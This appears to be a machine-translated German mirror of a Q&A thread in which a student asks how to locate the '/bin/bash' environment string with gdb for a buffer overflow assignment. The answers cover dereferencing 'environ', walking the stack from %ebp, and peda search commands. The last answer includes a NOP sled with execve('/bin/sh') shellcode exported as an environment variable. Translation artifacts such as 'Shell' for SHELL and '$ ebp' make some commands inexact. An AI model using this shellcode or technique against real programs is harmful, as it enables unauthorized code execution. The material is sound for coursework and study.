it-swarm-eu.dev

Suchen von Umgebungsvariablen mit gdb, um einen Pufferüberlauf auszunutzen

Ich muss einen sehr einfachen Pufferüberlauf in einem anfälligen C++ - Programm für eine Zuweisung ausnutzen und kann die Umgebungsvariable Shell nicht finden.

Ich habe noch nie mit BoF gearbeitet und nachdem ich viele ähnliche Fragen, Beiträge usw. gelesen habe, habe ich diese Informationen (korrigiere mich, wenn es falsch ist):

  • Das Programm speichert die Umgebungsvariablen in einer globalen Variablen namens environ
  • Ich kann die Adresse dieser Variablen folgendermaßen finden:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • Ich muss die Zeichenfolge /bin/bash In dieser Variablen finden, um eine Shell zu starten (ich habe bereits die System- und Exit-Adressen, ich brauche nur die Route zur Shell). Und hier weiß ich nicht, was ich tun soll. Ich habe GDB-Tutorials gelesen, aber immer noch nichts. x/s 0xb7fd1b00 Gibt nichts Nützliches aus.

12
Palantir

environ ist ein Zeiger auf Zeiger, da er den Typ char **environ hat.

Sie müssen etwas versuchen wie:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "Shell=/bin/bash"
16
J.D.
  • Umgebungsvariablen sind 16 Byte vom Basiszeiger (% ebp) entfernt.
  • Setzen Sie einen Haltepunkt in die Hauptfunktion und tun Sie dies,

(gdb) x/wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(GDB) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(Gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(Gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg"

Siehe diesen Blog

4
h1dd3ntru7h

wenn Sie peda für gdb installiert haben, können Sie dies einfach in gdb eingeben:

gdb-peda$ searchmem Shell

Die Ausgabe würde zeigen

Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
2
redgetan

Sie können auch nur "refsearch variable_name" verwenden, wenn Sie peda für gdb installiert haben.

beispiel:

Zunächst sollten Sie der Umgebung eine Variable (so etwas wie Shellcode) hinzufügen.

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Öffnen Sie dann gdb mit dem Beispielprogramm, brechen Sie main und führen Sie es aus.

Wenn das Programm am Haltepunkt angehalten wird, können Sie die folgende Umgebungsadresse durchsuchen.

refsearch Shellcode

0
user147694